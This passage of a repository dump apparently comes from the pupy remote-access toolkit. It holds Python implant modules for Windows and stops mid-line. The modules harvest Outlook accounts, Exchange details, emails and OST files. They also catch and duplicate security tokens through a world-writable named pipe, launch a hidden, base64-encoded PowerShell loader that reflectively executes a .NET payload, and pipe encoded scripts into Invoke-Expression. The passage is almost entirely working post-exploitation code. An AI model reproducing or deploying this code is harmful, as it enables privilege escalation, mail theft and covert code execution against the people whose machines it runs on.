self.outlook.GetNamespace(\"MAPI\")\n\n            if self.folderId is None:\n                self.setDefaultFolder(folderIndex=self.folderIndex)\n            else:\n                self.setFolderFromId(folderId=self.folderId)\n\n            return True\n\n        except:\n            return False\n\n    def getInformation(self):\n        '''\n        Returns Dictionnary\n        '''\n        info = OrderedDict()\n        try:\n            info['CurrentProfileName']=self.mapi.CurrentProfileName\n        except Exception as e:\n            logging.debug(\"Impossible to get CurrentProfileName configuration: {0}\".format(e))\n            info['CurrentProfileName']=\"\"\n\n            # Needs to be authenticiated to remote mail server. Otherwise, infinite timeout\n            # info['CurrentUserAddress']=repr(self.mapi.CurrentUser)\n        try:\n            info['SessionType']=self.outlook.Session.Type\n        except Exception as e:\n            logging.debug(\"Impossible to get SessionType configuration: {0}\".format(e))\n            info['SessionType']=\"\"\n        for i, anAccount in enumerate(self.outlook.Session.Accounts):\n            try:\n                info['Account{0}-DisplayName'.format(i)]=anAccount.DisplayName\n            except Exception as e:\n                logging.debug(\"Impossible to get DisplayName configuration: {0}\".format(e))\n                info['Account{0}-DisplayName'.format(i)]=\"\"\n            try:\n                info['Account{0}-SmtpAddress'.format(i)]=anAccount.SmtpAddress\n            except Exception as e:\n                logging.debug(\"Impossible to get SmtpAddress configuration: {0}\".format(e))\n                info['Account{0}-SmtpAddress'.format(i)]=\"\"\n            try:\n                info['Account{0}-AutoDiscoverXml'.format(i)]=anAccount.AutoDiscoverXml\n            except Exception as e:\n                logging.debug(\"Impossible to get AutoDiscoverXml configuration: {0}\".format(e))\n                info['Account{0}-AutoDiscoverXml'.format(i)]=\"\"\n            try:\n                info['Account{0}-AccountType'.format(i)]=self.OL_ACCOUNT_TYPES[anAccount.AccountType]\n            except Exception as e:\n                logging.debug(\"Impossible to get AccountType configuration: {0}\".format(e))\n                info['Account{0}-AccountType'.format(i)]=\"\"\n            #info['Account{0}-UserName'.format(i)]=anAccount.UserName #Needs to be authenticiated to remote mail server. Otherwise, infinite timeout\n        try:\n            info['ExchangeMailboxServerName']=self.mapi.ExchangeMailboxServerName #Returns a String value that represents the name of the Exchange server that hosts the primary Exchange account mailbox.\n        except Exception as e:\n            logging.debug(\"Impossible to get ExchangeMailboxServerName configuration: {0}\".format(e))\n            info['ExchangeMailboxServerName']=\"\"\n        try:\n            info['ExchangeMailboxServerVersion']=self.mapi.ExchangeMailboxServerVersion #Returns a String value that represents the full version number of the Exchange server that hosts the primary Exchange account mailbox.\n        except Exception as e:\n            logging.debug(\"Impossible to get ExchangeMailboxServerVersion configuration: {0}\".format(e))\n            info['ExchangeMailboxServerVersion']=\"\"\n        try:\n            info['Offline']=self.mapi.Offline #Returns a Boolean indicating True if Outlook is offline (not connected to an Exchange server), and False if online (connected to an Exchange server)\n        except Exception as e:\n            logging.debug(\"Impossible to get Offline configuration: {0}\".format(e))\n            info['Offline']=\"\"\n        try:\n            info['ExchangeConnectionMode']=self.OL_EXCHANGE_CONNECTION_MODE[self.mapi.ExchangeConnectionMode]\n            self.mapi.SendAndReceive(True)\n        except Exception as e:\n            logging.debug(\"Impossible to get ExchangeConnectionMode configuration: {0}\".format(e))\n            info['ExchangeConnectionMode']=None\n        return info\n\n\n    def __getOlDefaultFoldersNameFromIndex__(self, folderIndex):\n        '''\n        Return None if folderIndex not found in OlDefaultFolders\n        Otherwise returns Name of the folder\n        '''\n\n        for k in self.OL_DEFAULT_FOLDERS:\n            if self.OL_DEFAULT_FOLDERS[k] == folderIndex:\n                return k\n\n        return \"\"\n\n    def setDefaultFolder(self, folderIndex=None):\n        '''\n        See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex\n        Return True if done\n        Otherwise returns False\n        '''\n        if folderIndex is None:\n            folderIndex = self.OL_DEFAULT_FOLDERS['olFolderInbox']\n        folderName = self.__getOlDefaultFoldersNameFromIndex__(folderIndex)\n        if folderName is None:\n            logging.warning('Impossible to move the default folder to {0}. This folder index is not in {1}'.format(folderIndex, self.OL_DEFAULT_FOLDERS))\n            return False\n        else:\n            logging.debug(\"Moving outlook default folder to {0}\".format(folderName))\n            self.inbox = self.mapi.GetDefaultFolder(folderIndex)\n            return True\n\n    def setFolderFromId(self, folderId):\n        '''\n        See https://msdn.microsoft.com/fr-fr/library/office/ff861868.aspx for folderIndex\n        Return True if done\n        Otherwise returns False\n        '''\n        if folderId is None:\n            logging.error(\"Impossible to set Outlook folder to None\")\n            return False\n        else:\n            logging.debug(\"Moving outlook default folder to {0}\".format(folderId))\n            self.inbox = self.mapi.GetFolderFromID(folderId)\n            return True\n\n    def getEmails(self):\n        '''\n        Returns a list which contains all mailitems\n        '''\n        emails = []\n        logging.debug(\"Getting {0} emails...\".format(self.getNbOfEmails()))\n        for anEmail in self.inbox.Items:\n            emails.append(anEmail)\n        return emails\n\n    def getAMailFile(self, mailItem):\n        '''\n        return pathToAMailFileOnTarget, nameOftheMailFile\n        '''\n        ctime, subjectCleaned, receivedTime, path, filename = str(time.time()).replace('.',''), \"Unknown\", \"Unknown\", \"\", \"\"\n        try:\n            subjectCleaned = ''.join(subj for subj in mailItem.Subject.encode('ascii','ignore') if subj.isalnum())\n            receivedTime = str(mailItem.ReceivedTime).replace('/','').replace('\\\\','').replace(':','-').replace(' ','_')\n        except Exception as e:\n            logging.warning(\"Impossible to encode email subject or receivedTime:{0}\".format(repr(e)))\n        filename = \"{0}_{1}_{2}.{3}\".format(receivedTime, ctime, subjectCleaned[:100], 'msg')\n        path = os.path.join(self.remoteTempFolder,filename)\n        logging.debug('Saving temporarily the email on the remote path {0}'.format(path))\n        mailItem.SaveAs(path, outlook.OL_SAVE_AS_TYPE[self.msgSaveType])\n        try:\n            os.rename(path, path) #test if the file is not opened by another process\n        except OSError as e:\n            time.sleep(self.sleepTime)\n        return path, filename\n\n\n    def deleteTempMailFile(self,path):\n        '''\n        '''\n        try:\n            os.remove(path)\n        except OSError:\n            time.sleep(self.sleepTime)\n            os.remove(path)\n\n    \"\"\"\n    def getAllSubjects(self):\n        '''\n        '''\n        subjects = []\n        logging.debug(\"Getting subjects of {0} emails...\".format(self.getNbOfEmails()))\n        for anEmail in self.inbox.Items:\n            subjects.append(anEmail.Subject)\n        return subjects\n    \"\"\"\n\n    def getNbOfEmails(self):\n        '''\n        '''\n        #nc = self.inbox.Count\n        nb = len(self.inbox.Items)\n        logging.debug(\"Getting number of emails... {0} emails\".format(nb))\n        return nb\n\n    def getAllFolders(self):\n        '''\n        '''\n        folders = {}\n        for inx, folder in enumerate(list(self.mapi.Folders)):\n            logging.debug(\"New folder: {0}({1})\".format(folder.Name.encode('utf-8'), folder.EntryID))\n            folders[folder.Name] = {}\n            if \"Dossiers publics\" not in folder.Name and \"Public folders\" not in folder.Name: #Bug in my version of outlook when getting emails in public folder\n                for inx,subfolder in enumerate(list(folder.Folders)):\n                    logging.debug(\"{0}->{1} ({2})\".format(inx, subfolder.Name.encode('utf-8'), subfolder.EntryID))\n                    folders[folder.Name][subfolder.Name]=subfolder.EntryID\n        return folders\n\n\n    def getPathToOSTFiles(self):\n        '''\n        According to https://support.office.com/en-us/article/Locating-the-Outlook-data-files-0996ece3-57c6-49bc-977b-0d1892e2aacc\n        '''\n        paths = []\n        DEFAULT_LOCATIONS_OST = [\n            r\"<drive>:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook\",\n            r\"<drive>:\\Documents and Settings\\<username>\\Local Settings\\Application Data\\Microsoft\\Outlook\"\n        ]\n        systemDrive = os.getenv(\"SystemDrive\")\n        login = os.getenv(\"username\")\n        for aLocationOST in DEFAULT_LOCATIONS_OST:\n            completeLocationOST = aLocationOST.replace(\"<drive>\",systemDrive[:-1]).replace(\"<username>\",login)\n            regex = os.path.join(completeLocationOST,\"*.ost\")\n            logging.debug('Searching OST file in {0}'.format(regex))\n            files = glob.glob(regex)\n            for aFile in files:\n                ostFileFound = os.path.join(completeLocationOST,aFile)\n                logging.info('OST file found in {0}'.format(ostFileFound))\n                paths.append([os.path.basename(aFile), ostFileFound])\n        return paths\n\n\n    def searchStringsInEmails(self, strings, separator=','):\n        '''\n        Returns emails when aString in subject or body\n        '''\n        emails= []\n        stringsSplited = strings.split(separator)\n        for aString in stringsSplited:\n            results = self.searchAStringInEmails(aString)\n            emails = emails + results\n        return emails\n\n    def searchAStringInEmails(self, aString):\n        '''\n        Returns emails when aString in subject or body\n        '''\n\n        emails = []\n\n        logging.debug(\"Searching {1} over {0} emails...\".format(self.getNbOfEmails(), aString))\n\n        for anEmail in self.inbox.Items:\n            outEmail = {'body':anEmail.Body, 'subject':anEmail.Subject}\n            if re.search(aString, anEmail.Subject):\n                emails.append(outEmail)\n            elif re.search(aString, anEmail.Body):\n                emails.append(outEmail)\n\n        return emails\n"
  },
  {
    "path": "pupy/packages/windows/all/pipecatcher.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\nfrom traceback import format_exc\n\nfrom pupwinutils.security import (\n    kernel32, advapi32,\n)\n\nfrom pupwinutils.security import (\n    LPCSTR, PSECURITY_ATTRIBUTES, SECURITY_ATTRIBUTES,\n    HANDLE, DWORD, BOOL, LPVOID, sizeof, addressof, byref,\n    INVALID_HANDLE_VALUE, WinError, get_last_error,\n    create_string_buffer, ReadFile, CloseHandle,\n    EnablePrivilege, DuplicateTokenEx,\n    get_thread_token, rev2self, GetTokenSid, GetUserName,\n    TOKEN_ALL_ACCESS, IMPERSONATION_TOKENS\n)\n\nfrom pupy.agent import Task, manager\n\nCreateNamedPipe = kernel32.CreateNamedPipeA\nCreateNamedPipe.restype = HANDLE\nCreateNamedPipe.argtypes = (\n    LPCSTR,\n    DWORD, DWORD, DWORD, DWORD,\n    DWORD, DWORD, PSECURITY_ATTRIBUTES\n)\n\nConnectNamedPipe = kernel32.ConnectNamedPipe\nConnectNamedPipe.restype = BOOL\nConnectNamedPipe.argtypes = (\n    HANDLE, LPVOID\n)\n\nWaitNamedPipeA = kernel32.WaitNamedPipeA\nWaitNamedPipeA.restype = BOOL\nWaitNamedPipeA.argtypes = (\n  LPCSTR, DWORD\n)\n\nInitializeSecurityDescriptor = advapi32.InitializeSecurityDescriptor\nInitializeSecurityDescriptor.restype = BOOL\nInitializeSecurityDescriptor.argtypes = (\n    LPVOID, DWORD\n)\n\nSetSecurityDescriptorDacl = advapi32.SetSecurityDescriptorDacl\nSetSecurityDescriptorDacl.restype = BOOL\nSetSecurityDescriptorDacl.argtypes = (\n    LPVOID, BOOL, LPVOID, BOOL\n)\n\nImpersonateNamedPipeClient = advapi32.ImpersonateNamedPipeClient\nImpersonateNamedPipeClient.restype = BOOL\nImpersonateNamedPipeClient.argtypes = (\n    HANDLE,\n)\n\nSECURITY_DESCRIPTOR_MIN_LENGTH = 40\nSECURITY_DESCRIPTOR_REVISION = 1\n\nNMPWAIT_USE_DEFAULT_WAIT = 0x00000000\nNMPWAIT_WAIT_FOREVER = 0xffffffff\n\nPIPE_ACCESS_DUPLEX = 0x00000003\nPIPE_ACCESS_INBOUND = 0x00000001\nPIPE_ACCESS_OUTBOUND = 0x00000002\n\nFILE_FLAG_FIRST_PIPE_INSTANCE = 0x00080000\nFILE_FLAG_WRITE_THROUGH = 0x80000000\nFILE_FLAG_OVERLAPPED = 0x40000000\n\nWRITE_DAC = 0x00040000\nWRITE_OWNER = 0x00080000\nACCESS_SYSTEM_SECURITY = 0x01000000\n\nPIPE_TYPE_BYTE = 0x00000000\nPIPE_TYPE_MESSAGE = 0x00000004\n\nPIPE_READMODE_BYTE = 0x00000000\nPIPE_READMODE_MESSAGE = 0x00000002\n\nPIPE_WAIT = 0x00000000\nPIPE_NOWAIT = 0x00000001\n\nPIPE_ACCEPT_REMOTE_CLIENTS = 0x00000000\nPIPE_REJECT_REMOTE_CLIENTS = 0x00000008\n\nPIPE_UNLIMITED_INSTANCES = 255\n\nERROR_BROKEN_PIPE = 109\n\n\nclass PipeCatcher(Task):\n    __slots__ = (\n        'tokens', 'hPipe', 'pipename', 'error'\n    )\n\n    def __init__(self, *args, **kwargs):\n        name = kwargs.pop('name', 'catcher')\n\n        super(PipeCatcher, self).__init__(*args, **kwargs)\n        self.pipename = '\\\\\\\\.\\\\pipe\\\\' + name\n        self.tokens = {}\n        self.hPipe = INVALID_HANDLE_VALUE\n        self.error = None\n\n    def world_writable_pipe(self):\n        sd = create_string_buffer(SECURITY_DESCRIPTOR_MIN_LENGTH)\n        InitializeSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION)\n        SetSecurityDescriptorDacl(sd, True, None, False)\n\n        sa = SECURITY_ATTRIBUTES()\n        sa.nLength = sizeof(sa)\n        sa.lpSecurityDescriptor = addressof(sd)\n        sa.bInheritHandle = False\n\n        self.hPipe = CreateNamedPipe(\n            self.pipename,\n            PIPE_ACCESS_DUPLEX,\n            PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,\n            PIPE_UNLIMITED_INSTANCES,\n            1024,\n            1024,\n            1000,\n            sa\n        )\n\n        if self.hPipe == INVALID_HANDLE_VALUE:\n            raise WinError(get_last_error())\n\n    def stop(self):\n        super(PipeCatcher, self).stop()\n        if self.hPipe != INVALID_HANDLE_VALUE:\n            try:\n                with open(self.pipename, 'w') as pipe:\n                    pipe.write('1')\n            except (OSError, IOError):\n                pass\n\n            CloseHandle(self.hPipe)\n            self.hPipe = INVALID_HANDLE_VALUE\n\n    def task(self):\n        EnablePrivilege('SeImpersonatePrivilege')\n\n        while self.active:\n            try:\n                self.world_writable_pipe()\n                username, sid = self.impersonate_token_from_pipe()\n                if sid:\n                    self.append((username, sid))\n\n            except Exception:\n                self.error = format_exc()\n                break\n            finally:\n                if self.hPipe != INVALID_HANDLE_VALUE:\n                    CloseHandle(self.hPipe)\n\n    def impersonate_token_from_pipe(self):\n        try:\n            if not ConnectNamedPipe(self.hPipe, None):\n                raise WinError(get_last_error())\n\n            amount = 1024\n            buffer = create_string_buffer(amount)\n            read = DWORD()\n\n            if not ReadFile(self.hPipe, buffer, amount, byref(read), None):\n                error = get_last_error()\n                if error == ERROR_BROKEN_PIPE:\n                    return None, None\n                else:\n                    raise WinError(get_last_error())\n\n            if not ImpersonateNamedPipeClient(self.hPipe):\n                raise WinError(get_last_error())\n\n            try:\n                username = GetUserName()\n                hToken = get_thread_token()\n\n                try:\n                    sid = GetTokenSid(hToken, exc=False)\n\n                    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)\n                    SecurityImpersonation = 2\n                    TokenImpersonation = 2\n\n                    if not DuplicateTokenEx(\n                        hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation,\n                            TokenImpersonation, byref(hTokendupe)):\n                        raise WinError(get_last_error())\n\n                    self.tokens[sid] = hTokendupe\n\n                    if sid not in IMPERSONATION_TOKENS:\n                        IMPERSONATION_TOKENS[sid] = username, hTokendupe\n\n                    return username, sid\n\n                finally:\n                    CloseHandle(hToken)\n\n            finally:\n                rev2self()\n\n        finally:\n            CloseHandle(self.hPipe)\n            self.hPipe = INVALID_HANDLE_VALUE\n\n\ndef catcher_start(event_id=None):\n    if manager.active(PipeCatcher):\n        return False\n\n    manager.create(PipeCatcher, event_id=event_id)\n    return True\n\n\ndef catcher_dump():\n    catcher = manager.get(PipeCatcher)\n\n    if catcher:\n        return catcher.results\n\n\ndef catcher_sync():\n    catcher = manager.get(PipeCatcher)\n    if catcher:\n        for sid, token in catcher.tokens.items():\n            if sid not in IMPERSONATION_TOKENS:\n                IMPERSONATION_TOKENS[sid] = token\n\n\ndef catcher_stop():\n    catcher_sync()\n    catcher = manager.get(PipeCatcher)\n    if catcher:\n        manager.stop(PipeCatcher)\n"
  },
  {
    "path": "pupy/packages/windows/all/powerloader.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport random\nimport string\nimport base64\nimport threading\n\nfrom io import open\nfrom ctypes import WinDLL, get_last_error\nfrom ctypes.wintypes import BOOL, LPSTR, DWORD\nfrom time import sleep\n\nfrom hashlib import md5\n\nif sys.version_info.major > 2:\n    xrange = range\n\nkernel32 = WinDLL('kernel32', use_last_error=True)\n\nWaitNamedPipe = kernel32.WaitNamedPipeA\nWaitNamedPipe.restype = BOOL\nWaitNamedPipe.argtypes = (\n    LPSTR, DWORD\n)\n\nPIPE_LOADER_TEMPLATE = '''\n$ps=new-object System.IO.Pipes.PipeSecurity;\n$all=New-Object System.Security.Principal.SecurityIdentifier(\"S-1-1-0\");\n$acl=new-object System.IO.Pipes.PipeAccessRule($all,\"FullControl\",\"Allow\");\n$ps.AddAccessRule($acl);\n$p=new-object System.IO.Pipes.NamedPipeServerStream(\"{pipename}\",\"In\",2,\"Byte\",0,{size},0,$ps);\n$p.WaitForConnection();\n$x=new-object System.IO.BinaryReader($p);\n$a=$x.ReadBytes({size});\n$x.Close();\n[Reflection.Assembly]::Load($a).GetTypes()[0].GetMethods()[0].Invoke($null,@());\n'''\n\nPIPE_LOADER_CMD_TEMPLATE = '{powershell} -w hidden -EncodedCommand {cmd}'\nPOWERSHELL_PATH = r'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n\ndef generate_loader_cmd(size):\n    pipename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(10))\n    encoded = base64.b64encode(PIPE_LOADER_TEMPLATE.strip().format(\n        pipename=pipename, size=size).encode('utf-16le'))\n    cmd = PIPE_LOADER_CMD_TEMPLATE.format(powershell=POWERSHELL_PATH, cmd=encoded)\n    return cmd, pipename\n\ndef push_payload(payload, timeout=90, log_cb=None):\n    size = len(payload)\n    cmd, pipename = generate_loader_cmd(size)\n\n    def _sender():\n        if log_cb:\n            log_cb(None, 'Thread started (pipe={}, payload={}, md5={})'.format(\n                pipename, size, md5(payload).hexdigest()))\n\n        pipe = None\n        failed = False\n\n        try:\n            pipepath = '\\\\\\\\.\\\\pipe\\\\' + pipename\n\n            found = False\n            for i in xrange(timeout):\n                found = WaitNamedPipe(pipepath, 1000)\n                if found:\n                    break\n\n                sleep(1)\n\n            if not found:\n                if log_cb:\n                    log_cb(False, 'WaitNamedPipe - Timeout ({}, pipe={}, gle={})'.format(\n                        timeout, pipepath, get_last_error()))\n\n            pipe = open(pipepath, 'ab')\n            if log_cb:\n                log_cb(None, 'Open - OK')\n\n            pipe.write(payload)\n\n            if log_cb:\n                log_cb(None, 'Push - OK')\n\n        except Exception as e:\n            if log_cb:\n                log_cb(False, 'Open/Push - Fail ({})'.format(e))\n\n            failed = True\n\n        finally:\n            try:\n                if pipe:\n                    pipe.close()\n\n                    if not failed and log_cb:\n                        log_cb(True, 'FLUSH - OK')\n\n            except Exception as e:\n                if not failed and log_cb:\n                    log_cb(False, 'FLUSH - Fail ({})'.format(e))\n\n    worker = threading.Thread(\n        target=_sender,\n        name='PowerLoader (pipe={}, timeout={})'.format(\n            pipename, timeout)\n    )\n    worker.daemon = True\n    worker.start()\n\n    if not worker.is_alive():\n        raise ValueError('PowerLoader thread is dead')\n\n    return cmd, pipename\n"
  },
  {
    "path": "pupy/packages/windows/all/powershell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport pupy.agent\n\nimport sys\nimport base64\nimport subprocess\nimport os\nimport zlib\nimport threading\nimport re\nimport random\nimport string\n\nif sys.version_info.major > 2:\n    from queue import Queue, Empty\nelse:\n    from Queue import Queue, Empty\n\n\nclass PowerHostUninitialized(Exception):\n    pass\n\n\nclass PowershellUninitialized(Exception):\n    pass\n\n\nclass PowershellInitializationFailed(Exception):\n    pass\n\n\nclass PowershellContextUnregistered(Exception):\n    pass\n\n\nclass PowershellV2NotInstalled(Exception):\n    pass\n\n\nclass PowershellTimeout(Exception):\n    pass\n\n\nclass Request(object):\n    def __init__(self, rid, storage, expression, timeout=None, continious=False):\n        self._expression = expression\n        self._event = threading.Event()\n        self._storage = storage\n        self._timeout = timeout\n        self._result = '' if continious else None\n        self._continious = continious\n        self._archive = []\n        self._rid = rid\n        self._completed = False\n\n    @property\n    def rid(self):\n        return self._rid\n\n    @property\n    def expression(self):\n        return self._expression\n\n    @property\n    def ready(self):\n        return self._event.is_set()\n\n    @property\n    def result(self):\n        if not self._event.wait(timeout=self._timeout):\n            raise PowershellTimeout(self._rid)\n\n        result = self._result\n\n        if self._rid in self._storage:\n            if self._archive:\n                result = ''.join([\n                    zlib.decompress(x) for x in self._archive\n                ]) + result\n                self._archive = []\n\n            del self._storage[self._rid]\n\n        if self._continious:\n            self._event.clear()\n\n        return result\n\n    @result.setter\n    def result(self, value):\n        if value:\n            if self._continious:\n                if self._rid not in self._storage:\n                    self._storage[self._rid] = value\n                else:\n                    self._storage[self._rid] += value\n\n                if len(self._storage[self._rid]) > 1024*1024:\n                    self._archive.append(zlib.compress(self._storage[self._rid], 9))\n                    self._storage[self._rid] = ''\n            else:\n                self._storage[self._rid] = value\n\n            # Preserve ref\n            self._result = self._storage[self._rid]\n\n        else:\n            self._completed = False\n\n        if not self._completed:\n            self._event.set()\n\n\nclass Powershell(threading.Thread):\n    def __init__(self, host, name, content, try_x64=False, daemon=False, width=None, v2=True):\n        super(Powershell, self).__init__()\n        self.daemon = True\n\n        self._try_x64 = try_x64\n        self._completed = threading.Event()\n        self._initialized = False\n        self._pipe = None\n        self._executable = u'powershell.exe'\n        self._queue = None\n        self._name = name\n        self._host = host\n        self._daemon = daemon\n        self._daemon_request = None\n        self._width = width or 4096\n        self._rid = 0\n        self._v2 = v2\n\n        if try_x64:\n            native = ur'C:\\Windows\\SysNative\\WindowsPowershell\\v1.0\\powershell.exe'\n            if os.path.exists(native):\n                self._executable = native\n\n        self._args = [\n            self._executable, u'-W', u'hidden', u'-NoProfile', u'-NoLogo', u'-I', u'Text', u'-C', u'-'\n        ]\n\n        self._initialize(content)\n\n    @property\n    def v2(self):\n        return self._v2\n\n    def _initialize(self, content):\n        if self._pipe:\n            return\n\n        if self._v2:\n            args = [\n                self._args[0], u'-v', u'2',\n            ] + self._args[1:]\n        else:\n            args = self._args\n\n        self._pipe = subprocess.Popen(\n            args, bufsize=0, universal_newlines=True,\n            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE,\n        )\n\n        preamble_complete = self._random()\n\n        request = '\\n'.join([\n            '[Console]::OutputEncoding = [System.Text.Encoding]::UTF8',\n            '$OutputEncoding = [Console]::OutputEncoding',\n            'Write-Host {}'.format(preamble_complete)\n        ]) + '\\n'\n\n        self._pipe.stdin.write(request)\n        self._pipe.stdin.flush()\n\n        print(\"WAITING FOR \", preamble_complete)\n        data = self._pipe.stdout.readline()\n\n        if 'Version v2.0.50727 of the .NET Framework is not installed'.encode('UTF-16LE') in data:\n            self.stop()\n            raise PowershellV2NotInstalled()\n\n        elif not data or preamble_complete not in data:\n            print(\"First line: \", repr(data))\n            print('.NET Framework is not installed' in data)\n            self.stop()\n            raise PowershellInitializationFailed()\n\n        if not content:\n            return\n\n        self.load(content)\n\n    def load(self, content):\n        content = re.sub('Write-Host ', 'Write-Output ', content, flags=re.I)\n        self._invoke_expression(content)\n\n    def _invoke_expression(self, content, dest=None, pipe=None):\n        if not self._pipe:\n            raise PowershellUninitialized()\n\n        if not content:\n            return\n\n        var = self._random()\n        tmp = self._random()\n\n        self._pipe.stdin.write('${}=\"\"\\n'.format(var))\n        part = 20000\n        encoded = base64.b64encode(content)\n\n        for portion in [encoded[i:i+part] for i in range(0, len(encoded), part)]:\n            self._pipe.stdin.write('${}+=\"{}\"\\n'.format(var, portion))\n\n        request ='${tmp}=[System.Text.Encoding]::UTF8.GetString(' \\\n          '[System.Convert]::FromBase64String(${var}));' \\\n          '{dest}Invoke-Expression ${tmp}{pipe};' \\\n          ' Remove-Variable {var}; Remove-Variable {tmp}\\n'\n\n        if dest:\n            pipe = '{}Format-Table -Property * -AutoSize | Out-String -Width {}'.format(\n                '{} |'.format(pipe) if pipe else '',\n                self._width\n            )\n\n        request = request.format(\n            tmp=tmp, var=var,\n            dest='${}='.format(dest) if dest else '',\n            pipe='| {}'.format(pipe) if pipe else ''\n        )\n\n        self._pipe.stdin.write(request)\n        self._pipe.stdin.flush()\n\n\n    def run(self):\n        request = self._queue.get()\n\n        if self._daemon:\n            self._execute(request.expression)\n            while self._pipe:\n                try:\n                    data = self._pipe.stdout.readline()\n                    request.result = data\n\n                    if not data:\n                        break\n\n                except:\n                    request.result = None\n                    self.stop()\n                    break\n\n        else:\n            while request:\n                request.result = self._execute(request.expression)\n                request = self._queue.get()\n\n\n    def _random(self):\n        return ''.join(\n            random.choice(string.ascii_uppercase + string.digits) for _ in range(32)\n        )\n\n    def _execute(self, expression):\n        if self._daemon:\n            if not expression.endswith('\\n'):\n                expression = expression + '\\n'\n\n            self._invoke_expression(expression)\n            return\n\n        SOL = self._random()\n        EOL = ' ' + self._random()\n        res = self._random()\n\n        self._invoke_expression(expression, res)\n        self._pipe.stdin.write(\n            'Write-Host \"{SOL}${res}{EOL}\"; Remove-Variable {res}\\n'.format(\n                SOL=SOL, res=res, EOL=EOL\n            )\n        )\n        self._pipe.stdin.flush()\n\n        response = ''\n\n        while not response.endswith(EOL+'\\n'):\n            data = self._pipe.stdout.readline()\n            if not data:\n                break\n\n            response += data.replace('\\r\\n', '\\n')\n\n        sol_at = response.find(SOL)\n        return response[\n            sol_at+len(SOL):-(len(EOL)+1)\n        ].strip(), response[:sol_at]\n\n    def execute(self, expression, nowait=False, timeout=None, wait=None):\n        if self._daemon:\n            nowait = True\n\n            if self._daemon_request:\n                self._execute(expression)\n                return self._daemon_request\n\n        if timeout:\n            if wait is None:\n                wait = not nowait\n\n            nowait = True\n\n        if self._queue:\n            request = Request(\n                self._rid,\n                self._host.results[self._name],\n                expression,\n                timeout,\n                self._daemon\n            )\n\n            if self._daemon:\n                self._daemon_request = request\n\n            self._rid += 1\n            self._queue.put(request)\n\n            if nowait and not wait:\n                return request.rid\n            else:\n                return request.result\n\n        elif not self._queue and nowait:\n            self._queue = Queue.Queue()\n            self._host.results[self._name] = {}\n            self.start()\n            return self.execute(expression, nowait, timeout, wait)\n\n        else:\n            return self._execute(expression)\n\n    def stop(self):\n        if self._queue:\n            self._queue.put(None)\n\n        if not self._pipe:\n            return True\n\n        try:\n            self._pipe.stdin.write('exit\\n')\n            self._pipe.stdin.flush()\n        except:\n            pass\n\n        try:\n            self._pipe.terminate()\n            result = self._pipe.poll() is not None\n        except:\n            result = None\n\n        try:\n            self._pipe.stdout.read()\n        except:\n            pass\n\n        self._pipe = None\n        return result\n\n    def __del__(self):\n        try:\n            self.stop()\n        except:\n            pass\n\n\nclass PowerHost(object):\n    def __init__(self, manager):\n        self._powershells = {}\n        self._manager = manager\n        self._v2 = True\n        self.results = {}\n\n    @property\n    def active(self):\n        return bool(self._powershells)\n\n    @property\n    def dirty(self):\n        return bool(self.results)\n\n    def register(self, name, content, force=False, try_x64=False, daemon=False, width=None, v2=None):\n        v2 = self._v2 if v2 is None else v2\n        if name in self._powershells:\n            if not force:\n                raise ValueError('{} already registered'.format(name))\n\n            self._powershells[name].stop()\n\n        try:\n            self._powershells[name] = Powershell(\n                self, name, content, try_x64, daemon, width, v2\n            )\n\n        except PowershellV2NotInstalled:\n            self._v2 = False\n            self._powershells[name] = Powershell(\n                self, name, content, try_x64, daemon, width, False\n            )\n\n    def load(self, name, content):\n        if name not in self._powershells:\n            raise PowershellUninitialized()\n\n        self._powershells[name].load(content)\n\n    def registered(self, name=None):\n        if name:\n            return name in self._powershells\n        else:\n            return tuple(self._powershells)\n\n    def unregister(self, name):\n        if name not in self._powershells:\n            raise ValueError('{} is not registered'.format(name))\n\n        self._powershells[name].stop\n        del self._powershells[name]\n\n    def function(self, name, expression):\n        if name not in self._powershells:\n            raise ValueError('{} is not registered'.format(name))\n\n        return lambda: self._powershells[name].execute(\n            expression\n        )\n\n    def call(self, name, expression, nowait=False, timeout=None):\n        if name not in self._powershells:\n            raise ValueError('{} is not registered'.format(name))\n\n        return self._powershells[name].execute(expression, nowait, timeout)\n\n    def stop(self):\n        for name in tuple(self._powershells):\n            self._powershells[name].stop()\n            del self._powershells[name]\n\n    # Compatibility\n\n    def start(self):\n        pass\n\n    def event(self, event):\n        pass\n\n    @property\n    def name(self):\n        return type(self).__name__\n\n    @property\n    def stopped(self):\n        return not self._powershells\n\n\ndef loaded(name=None):\n    powershell = pupy.agent.manager.get(PowerHost)\n    if not powershell:\n        if not name:\n            return []\n        else:\n            return False\n\n    return powershell.registered(name)\n\n\ndef load(name, content, force=False, try_x64=False, daemon=False, width=None, v2=None):\n    powershell = pupy.agent.manager.get(PowerHost) or \\\n      pupy.agent.manager.create(PowerHost)\n\n    if not powershell:\n        raise PowerHostUninitialized()\n\n    if loaded(name) and not force:\n        powershell.load(name, content)\n    else:\n        powershell.register(name, content, force, try_x64, daemon, width, v2)\n\n\ndef unload(name):\n    powershell = pupy.agent.manager.get(PowerHost)\n    if not powershell:\n        raise PowerHostUninitialized()\n\n    powershell.unregister(name)\n\n\ndef call(name, expression, nowait=False, timeout=None, content=None, try_x64=False):\n    powershell = pupy.agent.manager.get(PowerHost) or \\\n      pupy.agent.manager.create(PowerHost)\n\n    if not powershell:\n        raise PowerHostUninitialized()\n\n    if content and not loaded(name):\n        load(name, content, force=True, try_x64=try_x64)\n\n    try:\n        result = powershell.call(name, expression, nowait, timeout)\n        if nowait:\n            return result.rid\n        else:\n            return result\n\n    finally:\n        if content:\n            unload(name)\n\n\ndef result(name, rid):\n    rid = 